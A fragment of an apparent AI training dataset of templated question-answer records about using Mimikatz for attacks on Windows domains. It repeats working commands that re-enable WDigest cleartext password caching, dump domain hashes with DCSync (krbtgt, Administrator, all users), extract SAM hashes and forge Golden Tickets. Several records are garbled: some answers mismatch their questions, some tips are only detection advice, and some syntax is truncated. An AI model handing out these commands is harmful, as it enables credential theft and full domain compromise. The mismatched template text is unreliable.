"original", "retrieved_at": "2025-12-18T00:11:32.049448Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049525Z", "updated_at": "2025-12-18T00:11:32.049525Z"} +{"id": "trtp-4e587ccbc24d", "instruction": "Explain the output of Mimikatz.", "output": "Interpreting Mimikatz output:\n\nShows cleartext passwords if WDigest is enabled and user logged in after\n\nExample output:\n```\n# Check for WDigest credentials\nmimikatz # sekurlsa::wdigest\n\n# Attacker technique to enable WDigest:\nreg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1\n\n# Then wait for user logon, credentials cached in cleartext\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsawdigest", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049448Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049537Z", "updated_at": "2025-12-18T00:11:32.049537Z"} +{"id": "trtp-53c1f47804a4", "instruction": "How can I get the most out of Mimikatz?", "output": "Tips for using Mimikatz:\n\n- Monitor UseLogonCredential registry key\n- Detect reg.exe modifications\n- Keep WDigest disabled\n\nUseful for: Cleartext password extraction, Legacy system compromise, Understand persistence technique", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsawdigest", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049448Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049549Z", "updated_at": "2025-12-18T00:11:32.049549Z"} +{"id": "trtp-aab2a8d3f413", "instruction": "How do red teamers use Mimikatz?", "output": "Offensive security uses of Mimikatz:\n\nWDigest authentication stores cleartext passwords in memory. Disabled by default in Windows 8.1+/2012 R2+ but can be re-enabled by attackers.\n\nExample:\n```\n# Check for WDigest credentials\nmimikatz # sekurlsa::wdigest\n\n# Attacker technique to enable WDigest:\nreg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1\n\n# Then wait for user logon, credentials cached in cleartext\n```\n\nCapabilities:\n- Cleartext password extraction\n- Legacy system compromise\n- Understand persistence technique", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsawdigest", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049448Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049564Z", "updated_at": "2025-12-18T00:11:32.049564Z"} +{"id": "trtp-460d2653599c", "instruction": "What is the typical workflow for using Mimikatz?", "output": "Workflow for sekurlsa::wdigest:\n\n1. Understand the context: WDigest authentication stores cleartext passwords in memory. Disabled by default in Windows 8.1+/2012 R2+ but can be re-enabled by attackers.\n\n2. Apply the tool:\n```\n# Check for WDigest credentials\nmimikatz # sekurlsa::wdigest\n\n# Attacker technique to enable WDigest:\nreg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1\n\n# Then wait for user logon, credentials cached in cleartext\n```\n\n3. Common scenarios: Cleartext password extraction, Legacy system compromise, Understand persistence technique\n\n4. Best practices:\n - Monitor UseLogonCredential registry key\n - Detect reg.exe modifications", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsawdigest", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049448Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049578Z", "updated_at": "2025-12-18T00:11:32.049578Z"} +{"id": "trtp-fd2a5738386d", "instruction": "When should I use Mimikatz versus other similar tools?", "output": "Advantages of Mimikatz:\n\nWDigest authentication stores cleartext passwords in memory. Disabled by default in Windows 8.1+/2012 R2+ but can be re-enabled by attackers.\n\nBest suited for:\n- Cleartext password extraction\n- Legacy system compromise\n- Understand persistence technique\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsawdigest", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049448Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049592Z", "updated_at": "2025-12-18T00:11:32.049592Z"} +{"id": "trtp-3b86d86987d7", "instruction": "Can Mimikatz be combined with other analysis methods?", "output": "Integration points for Mimikatz:\n\nWDigest authentication stores cleartext passwords in memory. Disabled by default in Windows 8.1+/2012 R2+ but can be re-enabled by attackers.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-sekurlsawdigest", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049448Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049606Z", "updated_at": "2025-12-18T00:11:32.049606Z"} +{"id": "trtp-cdc8b42f67d8", "instruction": "What do I need to know about Mimikatz?", "output": "lsadump::dcsync\n\nDCSync abuses directory replication privileges to request password hashes directly from a Domain Controller without running code on the DC. Requires Replicating Directory Changes permissions.\n\nPlatform: windows\n\nCommon uses:\n- Remote hash extraction\n- Golden ticket preparation\n- Domain compromise", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpdcsync", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049788Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049809Z", "updated_at": "2025-12-18T00:11:32.049809Z"} +{"id": "trtp-ba95b214e6a9", "instruction": "Show me the basic syntax for Mimikatz.", "output": "Syntax for Mimikatz:\n\nlsadump::dcsync /user:\n\nDCSync abuses directory replication privileges to request password hashes directly from a Domain Controller without running code on the DC. Requires Replicating Directory Changes permissions.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpdcsync", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049788Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049822Z", "updated_at": "2025-12-18T00:11:32.049822Z"} +{"id": "trtp-ea854ed0dc24", "instruction": "How would I use Mimikatz for Remote hash extraction?", "output": "Example of lsadump::dcsync:\n\n```\n# Dump krbtgt hash (for Golden Ticket)\nmimikatz # lsadump::dcsync /user:CORP\\krbtgt\n\n# Dump specific user\nmimikatz # lsadump::dcsync /user:CORP\\Administrator\n\n# Dump all users\nmimikatz # lsadump::dcsync /all /csv\n\nObject RDN : krbtgt\nHash NTLM : \nHash LM : \n```\n\nInterpretation: Returns NTLM hash, LM hash (if exists), and password history", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpdcsync", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049788Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049834Z", "updated_at": "2025-12-18T00:11:32.049834Z"} +{"id": "trtp-11039b897747", "instruction": "Provide an example of using Mimikatz.", "output": "Here is a practical example of Mimikatz:\n\n```\n# Dump krbtgt hash (for Golden Ticket)\nmimikatz # lsadump::dcsync /user:CORP\\krbtgt\n\n# Dump specific user\nmimikatz # lsadump::dcsync /user:CORP\\Administrator\n\n# Dump all users\nmimikatz # lsadump::dcsync /all /csv\n\nObject RDN : krbtgt\nHash NTLM : \nHash LM : \n```\n\nDCSync abuses directory replication privileges to request password hashes directly from a Domain Controller without running code on the DC. Requires Replicating Directory Changes permissions.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpdcsync", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049788Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049844Z", "updated_at": "2025-12-18T00:11:32.049844Z"} +{"id": "trtp-577b3c7e6d3f", "instruction": "What are the use cases for Mimikatz?", "output": "Use cases for Mimikatz:\n\n- Remote hash extraction\n- Golden ticket preparation\n- Domain compromise\n\nDCSync abuses directory replication privileges to request password hashes directly from a Domain Controller without running code on the DC. Requires Replicating Directory Changes permissions.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpdcsync", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049788Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049856Z", "updated_at": "2025-12-18T00:11:32.049856Z"} +{"id": "trtp-f4f474e3b09c", "instruction": "How can I get the most out of Mimikatz?", "output": "Tips for using Mimikatz:\n\n- Detection: 4662 with DS-Replication-Get-Changes-All\n- Requires DA or replication rights\n- Monitor replication from non-DCs\n\nUseful for: Remote hash extraction, Golden ticket preparation, Domain compromise", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpdcsync", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049788Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049872Z", "updated_at": "2025-12-18T00:11:32.049872Z"} +{"id": "trtp-e215563ce8e2", "instruction": "How is Mimikatz used in penetration testing?", "output": "Offensive security uses of Mimikatz:\n\nDCSync abuses directory replication privileges to request password hashes directly from a Domain Controller without running code on the DC. Requires Replicating Directory Changes permissions.\n\nExample:\n```\n# Dump krbtgt hash (for Golden Ticket)\nmimikatz # lsadump::dcsync /user:CORP\\krbtgt\n\n# Dump specific user\nmimikatz # lsadump::dcsync /user:CORP\\Administrator\n\n# Dump all users\nmimikatz # lsadump::dcsync /all /csv\n\nObject RDN : krbtgt\nHash NTLM : \nHash LM : \n```\n\nCapabilities:\n- Remote hash extraction\n- Golden ticket preparation\n- Domain compromise", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpdcsync", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049788Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049886Z", "updated_at": "2025-12-18T00:11:32.049886Z"} +{"id": "trtp-cbbd0e51d88d", "instruction": "How do I incorporate Mimikatz into my security workflow?", "output": "Workflow for lsadump::dcsync:\n\n1. Understand the context: DCSync abuses directory replication privileges to request password hashes directly from a Domain Controller without running code on the DC. Requires Replicating Directory Changes permissions.\n\n2. Apply the tool:\n```\n# Dump krbtgt hash (for Golden Ticket)\nmimikatz # lsadump::dcsync /user:CORP\\krbtgt\n\n# Dump specific user\nmimikatz # lsadump::dcsync /user:CORP\\Administrator\n\n# Dump all users\nmimikatz # lsadump::dcsync /all /csv\n\nObject RDN : krbtgt\nHash NTLM : \nHash LM : \n```\n\n3. Common scenarios: Remote hash extraction, Golden ticket preparation, Domain compromise\n\n4. Best practices:\n - Detection: 4662 with DS-Replication-Get-Changes-All\n - Requires DA or replication rights", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpdcsync", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049788Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049901Z", "updated_at": "2025-12-18T00:11:32.049901Z"} +{"id": "trtp-1b7fd2de6f3a", "instruction": "What are the advantages of Mimikatz for security analysis?", "output": "Advantages of Mimikatz:\n\nDCSync abuses directory replication privileges to request password hashes directly from a Domain Controller without running code on the DC. Requires Replicating Directory Changes permissions.\n\nBest suited for:\n- Remote hash extraction\n- Golden ticket preparation\n- Domain compromise\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpdcsync", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049788Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049914Z", "updated_at": "2025-12-18T00:11:32.049914Z"} +{"id": "trtp-a36c63da2307", "instruction": "How do I use Mimikatz alongside other tools in my toolkit?", "output": "Integration points for Mimikatz:\n\nDCSync abuses directory replication privileges to request password hashes directly from a Domain Controller without running code on the DC. Requires Replicating Directory Changes permissions.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpdcsync", "license": "original", "retrieved_at": "2025-12-18T00:11:32.049788Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.049928Z", "updated_at": "2025-12-18T00:11:32.049928Z"} +{"id": "trtp-77f9e9addb08", "instruction": "Describe lsadump::sam.", "output": "lsadump::sam\n\nDumps local account hashes from the SAM database. Works offline with SAM and SYSTEM hive files or online with proper privileges.\n\nPlatform: windows\n\nCommon uses:\n- Local account compromise\n- Offline hash extraction\n- Backup analysis", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpsam", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050095Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050115Z", "updated_at": "2025-12-18T00:11:32.050115Z"} +{"id": "trtp-2fd1e4c01efe", "instruction": "What command or query syntax does Mimikatz use?", "output": "Syntax for Mimikatz:\n\nlsadump::sam\n\nDumps local account hashes from the SAM database. Works offline with SAM and SYSTEM hive files or online with proper privileges.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpsam", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050095Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050129Z", "updated_at": "2025-12-18T00:11:32.050129Z"} +{"id": "trtp-b7972fd21d42", "instruction": "Demonstrate lsadump::sam with an example.", "output": "Example of lsadump::sam:\n\n```\n# Online extraction\nmimikatz # lsadump::sam\n\n# Offline extraction (from backup/shadow copy)\nmimikatz # lsadump::sam /sam:C:\\backup\\SAM /system:C:\\backup\\SYSTEM\n\nRID : 000001f4 (500)\nUser : Administrator\nHash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0\n```\n\nInterpretation: RID 500 = built-in Administrator. NTLM hash for pass-the-hash.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpsam", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050095Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050141Z", "updated_at": "2025-12-18T00:11:32.050141Z"} +{"id": "trtp-2cc9474eb74a", "instruction": "Show me an example of Mimikatz in action.", "output": "Here is a practical example of Mimikatz:\n\n```\n# Online extraction\nmimikatz # lsadump::sam\n\n# Offline extraction (from backup/shadow copy)\nmimikatz # lsadump::sam /sam:C:\\backup\\SAM /system:C:\\backup\\SYSTEM\n\nRID : 000001f4 (500)\nUser : Administrator\nHash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0\n```\n\nDumps local account hashes from the SAM database. Works offline with SAM and SYSTEM hive files or online with proper privileges.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpsam", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050095Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050151Z", "updated_at": "2025-12-18T00:11:32.050151Z"} +{"id": "trtp-7cd45fd16101", "instruction": "In what scenarios is Mimikatz useful?", "output": "Use cases for Mimikatz:\n\n- Local account compromise\n- Offline hash extraction\n- Backup analysis\n\nDumps local account hashes from the SAM database. Works offline with SAM and SYSTEM hive files or online with proper privileges.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpsam", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050095Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050162Z", "updated_at": "2025-12-18T00:11:32.050162Z"} +{"id": "trtp-c7c47a9dd9fc", "instruction": "How do I read Mimikatz output?", "output": "Interpreting Mimikatz output:\n\nRID 500 = built-in Administrator. NTLM hash for pass-the-hash.\n\nExample output:\n```\n# Online extraction\nmimikatz # lsadump::sam\n\n# Offline extraction (from backup/shadow copy)\nmimikatz # lsadump::sam /sam:C:\\backup\\SAM /system:C:\\backup\\SYSTEM\n\nRID : 000001f4 (500)\nUser : Administrator\nHash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpsam", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050095Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050173Z", "updated_at": "2025-12-18T00:11:32.050173Z"} +{"id": "trtp-3be3a5cc1c30", "instruction": "How can I get the most out of Mimikatz?", "output": "Tips for using Mimikatz:\n\n- Works on SAM backups\n- Detection: VSS access, registry access\n- Local accounts only\n\nUseful for: Local account compromise, Offline hash extraction, Backup analysis", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpsam", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050095Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050185Z", "updated_at": "2025-12-18T00:11:32.050185Z"} +{"id": "trtp-247077507802", "instruction": "What capabilities does Mimikatz provide for offensive security?", "output": "Offensive security uses of Mimikatz:\n\nDumps local account hashes from the SAM database. Works offline with SAM and SYSTEM hive files or online with proper privileges.\n\nExample:\n```\n# Online extraction\nmimikatz # lsadump::sam\n\n# Offline extraction (from backup/shadow copy)\nmimikatz # lsadump::sam /sam:C:\\backup\\SAM /system:C:\\backup\\SYSTEM\n\nRID : 000001f4 (500)\nUser : Administrator\nHash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0\n```\n\nCapabilities:\n- Local account compromise\n- Offline hash extraction\n- Backup analysis", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpsam", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050095Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050199Z", "updated_at": "2025-12-18T00:11:32.050199Z"} +{"id": "trtp-94b63e545b67", "instruction": "How do I incorporate Mimikatz into my security workflow?", "output": "Workflow for lsadump::sam:\n\n1. Understand the context: Dumps local account hashes from the SAM database. Works offline with SAM and SYSTEM hive files or online with proper privileges.\n\n2. Apply the tool:\n```\n# Online extraction\nmimikatz # lsadump::sam\n\n# Offline extraction (from backup/shadow copy)\nmimikatz # lsadump::sam /sam:C:\\backup\\SAM /system:C:\\backup\\SYSTEM\n\nRID : 000001f4 (500)\nUser : Administrator\nHash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0\n```\n\n3. Common scenarios: Local account compromise, Offline hash extraction, Backup analysis\n\n4. Best practices:\n - Works on SAM backups\n - Detection: VSS access, registry access", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpsam", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050095Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050214Z", "updated_at": "2025-12-18T00:11:32.050214Z"} +{"id": "trtp-7f66bfd2c4a9", "instruction": "What are the advantages of Mimikatz for security analysis?", "output": "Advantages of Mimikatz:\n\nDumps local account hashes from the SAM database. Works offline with SAM and SYSTEM hive files or online with proper privileges.\n\nBest suited for:\n- Local account compromise\n- Offline hash extraction\n- Backup analysis\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpsam", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050095Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050227Z", "updated_at": "2025-12-18T00:11:32.050227Z"} +{"id": "trtp-7eb7655eb8ed", "instruction": "How does Mimikatz integrate with other security tools?", "output": "Integration points for Mimikatz:\n\nDumps local account hashes from the SAM database. Works offline with SAM and SYSTEM hive files or online with proper privileges.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-lsadumpsam", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050095Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050241Z", "updated_at": "2025-12-18T00:11:32.050241Z"} +{"id": "trtp-280f30789558", "instruction": "How do security analysts use Mimikatz?", "output": "kerberos::golden\n\nCreates a Golden Ticket - a forged TGT valid for any user including non-existent ones. Requires the krbtgt hash. Persists until krbtgt password is changed twice.\n\nPlatform: windows\n\nCommon uses:\n- Domain persistence\n- Privilege escalation\n- Bypass authentication\n- Detection validation", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosgolden", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050428Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050449Z", "updated_at": "2025-12-18T00:11:32.050449Z"} +{"id": "trtp-d79e04071353", "instruction": "What command or query syntax does Mimikatz use?", "output": "Syntax for Mimikatz:\n\nkerberos::golden /user: /domain: /sid: /krbtgt:\n\nCreates a Golden Ticket - a forged TGT valid for any user including non-existent ones. Requires the krbtgt hash. Persists until krbtgt password is changed twice.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosgolden", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050428Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050462Z", "updated_at": "2025-12-18T00:11:32.050462Z"} +{"id": "trtp-07140c0ebb41", "instruction": "Give me a practical example of Mimikatz.", "output": "Example of kerberos::golden:\n\n```\n# Create Golden Ticket\nmimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-... /krbtgt: /ptt\n\n# With specific attributes\nmimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt: /id:500 /groups:512,513,519,520 /ptt\n\nUser : FakeAdmin\nDomain : CORP.LOCAL (corp)\nSID : S-1-5-21-...\nTicket : ** Pass The Ticket **\n```\n\nInterpretation: Creates TGT in memory (/ptt) or exports to file", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosgolden", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050428Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050481Z", "updated_at": "2025-12-18T00:11:32.050481Z"} +{"id": "trtp-8ab8bbff7163", "instruction": "Provide an example of using Mimikatz.", "output": "Here is a practical example of Mimikatz:\n\n```\n# Create Golden Ticket\nmimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-... /krbtgt: /ptt\n\n# With specific attributes\nmimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt: /id:500 /groups:512,513,519,520 /ptt\n\nUser : FakeAdmin\nDomain : CORP.LOCAL (corp)\nSID : S-1-5-21-...\nTicket : ** Pass The Ticket **\n```\n\nCreates a Golden Ticket - a forged TGT valid for any user including non-existent ones. Requires the krbtgt hash. Persists until krbtgt password is changed twice.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosgolden", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050428Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050493Z", "updated_at": "2025-12-18T00:11:32.050493Z"} +{"id": "trtp-7a58d2dff910", "instruction": "When should I use Mimikatz?", "output": "Use cases for Mimikatz:\n\n- Domain persistence\n- Privilege escalation\n- Bypass authentication\n- Detection validation\n\nCreates a Golden Ticket - a forged TGT valid for any user including non-existent ones. Requires the krbtgt hash. Persists until krbtgt password is changed twice.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosgolden", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050428Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050504Z", "updated_at": "2025-12-18T00:11:32.050504Z"} +{"id": "trtp-9a192db854d8", "instruction": "What are common tips for Mimikatz?", "output": "Tips for using Mimikatz:\n\n- Detection: 4769 with invalid logon time\n- krbtgt reset invalidates tickets\n- TGT validity up to 10 years default\n\nUseful for: Domain persistence, Privilege escalation, Bypass authentication", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosgolden", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050428Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.050520Z", "updated_at": "2025-12-18T00:11:32.050520Z"} +{"id": "trtp-d46c270ba194", "instruction": "What attack techniques can be performed with Mimikatz?", "output": "Offensive security uses of Mimikatz:\n\nCreates a Golden Ticket - a forged TGT valid for any user including non-existent ones. Requires the krbtgt hash. Persists until krbtgt password is changed twice.\n\nCapabilities:\n- Domain persistence\n- Privilege escalation\n- Bypass authentication", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-mimikatz-kerberosgolden", "license": "original", "retrieved_at": "2025-12-18T00:11:32.050428Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": 